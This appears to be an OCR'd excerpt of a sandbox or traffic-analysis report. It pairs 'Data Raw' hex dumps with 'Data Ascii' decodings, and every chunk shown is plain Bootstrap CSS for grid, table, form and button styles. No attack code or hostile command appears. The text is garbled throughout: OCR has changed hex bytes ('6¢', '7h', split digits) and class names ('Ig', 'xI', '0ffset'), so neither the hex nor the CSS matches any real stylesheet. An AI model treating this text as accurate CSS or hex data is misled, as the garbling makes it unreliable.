72 3a 31 32 7d 2e 6f 66 66 73 65 74 2d 6d 64 2d 30 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 30 7d 2e 6f 66 66 73 65 74 2
d 6d 64 2d 31 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 38 2e 33 33

Data Ascii: d-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order: 10}.order-md-11{-webkit-box-ordinal-group:12;-ms-f
lex-order:11;order:11}.order-md-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.0
ffset-md-1{margin-left:8.33

Data Raw: 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 33 33 25 3b 66 6¢
65 78 3a 30 20 30 20 35 38 2e 33 33 33 33 3333 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 38 2e 33 33 33 333333 25 7d
2e 63 6f 6¢ 2d 6¢ 67 2d 38 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30
20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 66 6¢ 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77
69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6¢ 2d 6¢ 67 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66
6¢ 65 78 32 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 37 35 25 3b 66 6¢ 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78
2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6¢ 2d 6¢ 67 2d 31 30 7b 2d 77

Data Ascii: ox-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-webkit-box-flex:0;-
ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-Ig-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0
0 75%;max-width:75%}.col-lg-10{-w

Data Raw: 30 7d 2e 6f 72 64 65 72 2d 6¢ 67 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 67
72 6f 75 70 3a 31 32 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 31 31 3b 6f 72 64 65 72 3a 31 31 7d 2e 6f 72 64 65
722d 6¢ 67 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 31 33 3b 2d 6d 73
2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 31 32 3b 6f 72 64 65 72 3a 31 32 7d 2e 6f 66 66 73 65 74 2d 6¢ 67 2d 30 7b 6d 61 72
67 69 6e 2d 6¢ 65 66 74 3a 30 7d 2e 6f 66 66 73 65 74 2d 6¢ 67 2d 31 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 38 2e 33
33 33333333 25 7d 2e 6f 66 66 73 65 74 2d 6¢ 67 2d 32 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 31 36 2e 36 36 36 36
36 37 25 7d 2e 6f 66 66 73 65 74 2d 6¢ 67 2d 33 7b 6d 61 72 67

Data Ascii: 0}.order-lg-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order: 11}.order-Ig-12{-webkit-box-ordinal-grou
p:13;-ms-flex-order:12;order:12}.offset-Ig-0{margin-left:0}. offset-lg-1{margin-left:8.333333%}.offset-Ig-2{margin-left:1
6.666667%}.0ffset-lg-3{marg

Data Raw: 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6¢ 2d 78 6¢ 2d 38 7b 2d 77 65 62 6b 69 74 2d
62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 66 6¢ 65 78
3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63
6f 6¢ 2d 78 6¢ 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30
20 37 35 25 3b 66 6¢ 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6¢ 2d 78 6C
2d 3130 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6¢ 65 78 3a 30 3b 2d 6d 73 2d 66 6¢ 65 78 3a 30 20 30 20 38 33 2e
333333333333 253b 66 6¢ 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33

Data Ascii: width:58.333333%}.col-xI-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-widt
h:66.666667%}.col-xI-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xI-10{-webkit-box-flex:0;-ms-
flex:0 0 83.333333%;flex:0 0 83.33333

Data Raw: 3a 31 31 3b 6f 72 64 65 72 3a 31 31 7d 2e 6f 72 64 65 72 2d 78 6¢ 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f
78 2d 6f 72 64 69 6e 61 6¢ 2d 67 72 6f 75 70 3a 31 33 3b 2d 6d 73 2d 66 6¢ 65 78 2d 6f 72 64 65 72 3a 31 32 3b 6f 72 64
65 72 3a 31 32 7d 2e 6f 66 66 73 65 74 2d 78 6¢ 2d 30 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 30 7d 2e 6f 66 66 73 65
74 2d 78 6¢ 2d 31 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 78 6¢
2d 32 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 31 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 78 6¢ 2d 33 7h 6
d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 78 6¢ 2d 34 7b 6d 61 72 67 69 6e 2d 6¢ 65 66

74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 78 6¢C

Data Ascii: :11;order:11}.order-xl-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-xI-0{margin-left:0
}.offset-xI-1{margin-left:8.333333%}.offset-xI-2{margin-left:16.666667%}.offset-xI-3{margin-left:25%}.offset-x|-4{margin-
left:33.333333%}.offset-xI

Data Raw: 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 39 66 63 64 66 66 7d 2e 74 61 62 6¢ 65 2d 73 65 63 6f 6e 64
617279 2c 2e 74 61 62 6¢ 65 2d 73 65 63 6f 6e 64 61 72 79 3e 74 64 2c 2e 74 61 62 6¢ 65 2d 73 65 63 6f 6e 64 61 72
79 3e 74 68 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 64 36 64 38 64 62 7d 2e 74 61 62 6¢ 65 2d 68 6f 76
65 72 20 2e 74 61 62 6¢ 65 2d 73 65 63 6f 6e 64 61 72 79 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢
6f 72 3a 23 63 38 63 62 63 66 7d 2e 74 61 62 6¢ 65 2d 68 6f 76 65 72 20 2e 74 61 62 6¢ 65 2d 73 65 63 6f 6€ 64 61 72
79 3a 68 6f 76 65 72 3e 74 64 2c 2e 74 61 62 6¢ 65 2d 68 6f 76 65 72 20 2e 74 61 62 6¢ 65 2d 73 65 63 6f 6 64 61 72 79
3a 68 6f 76 65 72 3e 74 68 7h 62 61 63 6b 67 72 6f 75 6e 64 2d

Data Ascii: ckground-color:#9fcdff}.table-secondary,.table-secondary>td, .table-secondary>th{background-color:#
d6d8db}.table-hover .table-secondary:hover{background-color:#c8chcf}.table-hover .table-secondary:hover>td,.table-
hover .table-secondary:hover>th{background-
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Data

Data Raw: 68 6f 76 65 72 3e 74 68 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 65 63 65 63 66 36 7d 2e 74
61 62 6¢ 65 2d 64 61 72 6b 2c 2e 74 61 62 6¢ 65 2d 64 61 72 6b 3e 74 64 2c 2e 74 61 62 6¢ 65 2d 64 61 72 6b 3e 74 68
7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6 72 3a 23 63 36 63 38 63 61 7d 2e 74 61 62 6¢ 65 2d 68 6 76 65 72 20 2e
74 6162 6¢ 65 2d 64 61 72 6b 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 62 39 62 62 62
65 7d 2e 74 61 62 6¢ 65 2d 68 6f 76 65 72 20 2e 74 61 62 6¢ 65 2d 64 61 72 6b 3a 68 6f 76 65 72 3e 74 64 2c 2e 74 61
62 6¢ 65 2d 68 6f 76 65 72 20 2e 74 61 62 6¢ 65 2d 64 61 72 6b 3a 68 6f 76 65 72 3e 74 68 7h 62 61 63 6b 67 72 6f 75 6e
64 2d 63 6f 6¢ 6f 72 3a 23 62 39 62 62 62 65 7d 2e 74 61 62 6¢C

Data Ascii: hover>th{background-color:#ececf6}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-
hover .table-dark:hover{background-color:#b9bbbe}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{bac
kground-color:#b9bbbe}.tabl

Data Raw: 6¢ 62 61 72 7d 2e 74 61 62 6¢ 65 2d 72 65 73 70 6f 6e 73 69 76 65 2d 6d 64 3e 2e 74 61 62 6¢ 65 2d 62 6f 72
64 65 72 65 64 7b 62 6f 72 64 65 72 3a 30 7d 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 39 31 2e 39
38707829 7b 2e 74 61 62 6¢ 65 2d 72 65 73 70 6f 6e 73 69 76 65 2d 6¢ 67 7b 64 69 73 70 6¢ 61 79 3a 62 6¢ 6f 63 6b
3b 77 69 64 74 68 3a 31 30 30 25 3b 6f 76 65 72 66 6¢ 6f 77 2d 78 3a 61 75 74 6f 3b 2d 77 65 62 6b 69 74 2d 6f 76 65 72
66 6¢ 6f 77 2d 73 63 72 6f 6¢ 6C 69 6e 67 3a 74 6f 75 63 68 3b 2d 6d 73 2d 6f 76 65 72 66 6¢ 6f 77 2d 73 74 79 6¢ 65 3a
2d 6d 73 2d 61 75 74 6f 68 69 64 69 6e 67 2d 73 63 72 6f 6¢ 6¢ 62 61 72 7d 2e 74 61 62 6¢ 65 2d 72 65 73 70 6f 62 73 6
9 76 65 2d 6¢ 67 3e 2e 74 61 62 6¢ 65 2d 62 6f 72 64 65 72 65 64

Data Ascii: Ibar}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-
Ig{display:block;width:100%:;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar
}.table-responsive-lg>.table-bordered

Data Raw: 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢c 3a 3a 70 6¢ 61 63 65 68 6f 6¢ 64 65 72 7b 63 6f 6¢ 6f 72 3a 23 36 63 37 35
37 64 3b 6f 70 61 63 69 74 79 3a 31 7d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 3a 64 69 73 61 62 6¢ 65 64 2¢ 2e 66 6f 72
6d 2d 63 6f 6e 74 72 6f 6¢ 5b 72 65 61 64 6f 6e 6¢ 79 5d 7b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f 6¢ 6f 72 3a 23 65 39
65 63 65 66 3b 6f 70 61 63 69 74 79 3a 31 7d 73 65 6¢ 65 63 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 3a 6e 6f 74 28 5b
73 69 7a 65 5d 29 3a 6e 6f 74 28 5b 6d 75 6¢ 74 69 70 6¢ 65 5d 29 7b 68 65 69 67 68 74 3a 63 61 6¢ 63 28 32 2e 32 35
72 65 6d 20 2b 20 32 70 78 29 7d 73 65 6¢ 65 63 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 3a 66 6f 63 75 73 3a 3a 2d 6d
732d 76 61 6¢ 75 65 7b 63 6f 6¢ 6f 72 3a 23 34 39 35 30

Data Ascii: form-control::placeholder{color:#6c757d;opacity: 1}.form-control:disabled,.form-control[readonly]{background-
color:#e9ecef;opacity:1}select.form-control:not([size]):not([multiple]){height:calc(2.25rem + 2px)}select.form-control:f
ocus::-ms-value{color:#4950

Data Raw: 2d 63 6f 6e 74 72 6f 6¢ 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75
70 2d 61 70 70 65 6e 64 3e 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 70 6¢ 61 69 6e 74 65 78 74 2e 62 74 6e 2c 2e 69 6e
707574 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 70 70 65 6e 64 3e 2e 66 6f 72 6d 2d
63 6f 6e 74 72 6f 6¢ 2d 70 6¢ 61 69 6e 74 65 78 74 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 2c 2e 69 6e 70 75
74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 2e 66 6f 72 6d 2d 63 6f
6e 74 72 6f 6¢ 2d 70 6¢ 61 69 6e 74 65 78 74 2e 62 74 6e 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e
7075 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 2e 66 6f

Data Ascii: -control,.input-group-sm>.input-group-append>.form-control-plaintext.btn,.input-group-sm>.input-group-append
> form-control-plaintext.input-group-text,.input-group-sm=>.input-group-prepend>.form-control-plaintext.btn,.input-group-
sm>.input-group-prepend>.fo

Data Raw: 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 62 6f 72
64 65 72 2d 72 61 64 69 75 73 3a 2e 33 72 65 6d 7d 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 6¢ 67 3e 2e 69 6e 70 75 74
2d 67 72 6f 75 70 2d 61 70 70 65 6e 64 3e 73 65 6¢ 65 63 74 2e 62 74 6e 3a 6e 6f 74 28 5b 73 69 7a 65 5d 29 3a 6e 6f
74 28 5b 6d 75 6¢ 74 69 70 6¢ 65 5d 29 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 6¢ 67 3e 2e 69 6e 70 75 74 2d 67 72 6
f75 70 2d 61 70 70 65 6e 64 3e 73 65 6¢ 65 63 74 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 3a 6e 6f 74 28 5b
73 69 7a 65 5d 29 3a 6e 6f 74 28 5b 6d 75 6¢ 74 69 70 6¢ 65 5d 29 2¢ 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 6¢ 67 3e
2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 73 65

Data Ascii: ont-size:1.25rem;line-height:1.5;border-radius:.3rem}.input-group-lg>.input-group-append>select.btn:not([siz
e]):not([multiple]),.input-group-lg>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-
Ig>.input-group-prepend>se

Data Raw: 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 25 3b 63
6f 6¢ 6f 72 3a 23 32 38 61 37 34 35 7d 2e 76 61 6¢ 69 64 2d 74 6f 6f 6¢ 74 69 70 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73
6f 6¢ 75 74 65 3b 74 6f 70 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 35 3b 64 69 73 70 6¢ 61 79 3a 6e 6f 6e 65 3b 6d
61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a
2e 31 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 72 65 6d 3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 63
6f 6¢ 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f 6¢ 6f 72 3a 72 67 62 61 28 34 30 2¢ 31 36 37 2¢ 36
39 2c 2e 38 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32

Data Ascii: 0%;margin-top:.25rem;font-size:80%;color:#28a745}.valid-tooltip{position:absolute;top:100%;z-index:5;display
:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height: 1;color:#fff;background-colo
r:rgba(40,167,69,.8);border-radius:.2

Data Raw: 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 69 6e 70 75 74 3a 76 61 6¢ 69 64 7e 2e 63 75 73 74 6f 6d
2d 63 6f 6e 74 72 6f 6¢ 2d 6¢ 61 62 65 6¢ 7b 63 6f 6¢ 6f 72 3a 23 32 38 61 37 34 35 7d 2e 63 75 73 74 6f 6d 2d 63 6f 6e
7472 6f 6¢ 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6¢ 69 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 6¢ 61 62 65
6c 3a 3a 62 65 66 6f 72 65 2c 2e 77 61 73 2d 76 61 6¢ 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 63 6f 6 74 72 6f 6C
2d 69 6e 70 75 74 3a 76 61 6¢ 69 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 6¢ 61 62 65 6¢ 3a 3a 62 65 66 6f
7265 7h 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 37 31 64 64 38 61 7d 2e 63 75 73 74 6f 6d 2d 63 6f 6€ 74
72 6f 6¢ 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6¢ 69 64 7e

Data Ascii: .custom-control-input:valid~.custom-control-label{color:#28a745}.custom-control-input.is-valid~.custom-cont
rol-label::before,.was-validated .custom-control-input:valid~.custom-control-label::before{background-color:#71dd8a}.cus
tom-control-input.is-valid~

Data Raw: 6¢ 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 66 69 6¢ 65 2d 69 6e 70 75 74 3a 76 61 6¢ 69 64 3a 66 6f 63
7573 7e 2e 63 75 73 74 6f 6d 2d 66 69 6¢ 65 2d 6¢ 61 62 65 6¢ 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e
327265 6d 20 7267 62 61 28 34 30 2c 31 36 37 2¢ 36 39 2c 2e 32 35 29 7d 2e 69 6e 76 61 6¢ 69 64 2d 66 65 65 64 62
61 63 6b 7b 64 69 73 70 6¢ 61 79 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a
2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 25 3b 63 6f 6¢ 6f 72 3a 23 64 63 33 35 34 35 7d 2e 69 6e 76 61
6¢ 69 64 2d 74 6f 6f 6¢ 74 69 70 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 74 6f 70 3a 31 30 30 25 3b 7a
2d 69 6e 64 65 78 3a 35 3b 64 69 73 70 6¢ 61 79 3a 6e 6f 6e 65

Data Ascii: lidated .custom-file-input:valid:focus~.custom-file-label{box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.invalid-
feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#dc3545}.invalid-tooltip{position:absolute;top:
100%,;z-index:5;display:none
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Data

Data Raw: 6¢ 69 64 2d 74 6f 6f 6¢ 74 69 70 2c 2e 77 61 73 2d 76 61 6¢ 69 64 61 74 65 64 20 2e 66 6f 72 6d 2d 63 68 65
63 6b 2d 69 6e 70 75 74 3a 69 6e 76 61 6¢ 69 64 7e 2e 69 6e 76 61 6¢ 69 64 2d 66 65 65 64 62 61 63 6b 2 2e 77 61 73
2d 76 61 6¢ 69 64 61 74 65 64 20 2e 66 6f 72 6d 2d 63 68 65 63 6b 2d 69 6e 70 75 74 3a 69 6e 76 61 6¢ 69 64 7e 2e 69
6e 76 61 6¢ 69 64 2d 74 6f 6f 6¢ 74 69 70 7b 64 69 73 70 6¢ 61 79 3a 62 6¢ 6f 63 6b 7d 2e 63 75 73 74 6f 6d 2d 63 6f 6
74 72 6f 6¢ 2d 69 6e 70 75 74 2e 69 73 2d 69 6e 76 61 6¢ 69 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 6¢ 61
62 65 6¢ 2c 2e 77 61 73 2d 76 61 6¢ 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 69 6e 70 75 74
3a 69 6e 76 61 6¢ 69 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74

Data Ascii: lid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:inva
lid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-
input:invalid~.custom-cont

Data Raw: 69 6e 76 61 6¢ 69 64 7e 2e 69 6e 76 61 6¢ 69 64 2d 66 65 65 64 62 61 63 6b 2c 2e 63 75 73 74 6f 6d 2d 66 69
6¢c 65 2d 69 6e 70 75 74 2e 69 73 2d 69 6e 76 61 6¢ 69 64 7e 2e 69 6e 76 61 6¢ 69 64 2d 74 6f 6f 6¢ 74 69 70 2c 2e 77
61 73 2d 76 61 6¢ 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 66 69 6¢ 65 2d 69 6e 70 75 74 3a 69 6e 76 61 6¢ 69 64
7e 2e 69 6e 76 61 6¢ 69 64 2d 66 65 65 64 62 61 63 6b 2c 2e 77 61 73 2d 76 61 6¢ 69 64 61 74 65 64 20 2e 63 75 73 74
6f 6d 2d 66 69 6¢ 65 2d 69 6e 70 75 74 3a 69 6e 76 61 6¢ 69 64 7e 2e 69 6e 76 61 6¢ 69 64 2d 74 6f 6f 6¢ 74 69 70 7b 64
69 73 70 6¢ 61 79 3a 62 6¢ 6f 63 6b 7d 2e 63 75 73 74 6f 6d 2d 66 69 6C 65 2d 69 6€ 70 75 74 2e 69 73 2d 69 6e 76 61
6¢c 69 64 3a 66 6f 63 75 73 7e 2e 63 75 73 74 6f 6d 2d 66 69 6¢ 65 2d

Data Ascii: invalid~.invalid-feedback,.custom-file-input.is-invalid~.invalid-tooltip,.was-validated .custom-file-input:invalid~.in
valid-feedback,.was-validated .custom-file-input:invalid~.invalid-tooltip{display:block}.custom-file-input.is-invalid:fo
cus~.custom-file-

Data Raw: 3a 61 75 74 6f 7d 2e 66 6f 72 6d 2d 69 6e 6¢ 69 6e 65 20 2e 66 6f 72 6d 2d 63 68 65 63 6b 7b 64 69 73 70 6¢
6179 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6¢ 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70
6c 61 79 3a 66 6¢ 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6¢ 69 67 6€ 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66
6c 65 78 2d 61 6¢ 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6¢ 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 2d 77 65
62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6¢ 65 78 2d 70 61 63 6b 3a 63 65 6e 74
65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 61 75 74 6f 3b 70 61
64 64 69 6e 67 2d 6¢ 65 66 74 3a 30 7d 2e 66 6f 72 6d 2d 69 6e 6¢ 69 6e

Data Ascii: :auto}.form-inline .form-check{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-
ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:auto
;padding-left:0}.form-inlin

Data Raw: 38 30 30 30 0d Oa 6e 6f 6e 65 7d 61 2e 62 74 6e 2e 64 69 73 61 62 6¢ 65 64 2c 66 69 65 6¢ 64 73 65 74 3a 64
69 73 61 62 6¢ 65 64 20 61 2e 62 74 6e 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 62 74 6e 2d
707269 6d 61 72 79 7b 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f 6¢ 6f 72 32 23 30 30 37
62 66 66 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 30 30 37 62 66 66 7d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 68 6f
76 65 72 7b 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f 6¢ 6f 72 3a 23 30 30 36 39 64 39 3b
62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 30 30 36 32 63 63 7d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2e 66 6f 63 75 73 2C
2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 7b 62

Data Ascii: 8000none}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color
:#007bff;border-color:#007bff}.btn-primary:hover{color:#fff;background-color:#0069d9;border-color:#0062cc}.btn-primary.f
ocus,.btn-primary:focus{b

Data Raw: 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 62 74 6e 2d 73 65 63 6f 6e 64 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61
62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 73 68 6f 77 3e
2e 62 74 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 3a 66 6f 63 75 73 7b 62 6f 78
2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 31 30 38 2c 31 31 37 2¢ 31 32 35 2c 2e 35
29 7d 2e 62 74 6e 2d 73 75 63 63 65 73 73 7h 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f 6¢
6f 72 3a 23 32 38 61 37 34 35 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 32 38 61 37 34 35 7d 2e 62 74 6e 2d 73 75 63
63 65 73 73 3a 68 6f 76 65 72 7b 63 6f 6¢ 6f 72 3a 23 66 66

Data Ascii: ctive:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:f
ocus{box-shadow:0 0 0 .2rem rgha(108,117,125,.5)}.btn-success{color:#fff;background-color:#28a745;border-color
:#28a745}.btn-success:hover{color:#ff

Data Raw: 69 6e 66 6f 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 2e 61
63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 62 74 6e 2d 69 6e 66 6f 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74
28 2e 64 69 73 61 62 6¢ 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2¢ 2e 73 68 6f 77 3e 2e 62 74 6e 2d 69 6e 66
6f 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30
202e 327265 6d 20 72 67 62 61 28 32 33 2¢ 31 36 32 2c 31 38 34 2¢ 2e 35 29 7d 2e 62 74 6e 2d 77 61 72 6e 69 6e 67
7b 63 6f 6¢ 6f 72 3a 23 32 31 32 35 3239 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 66 66 63 31 30 37 3b
62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 66 66 63 31 30 37 7d

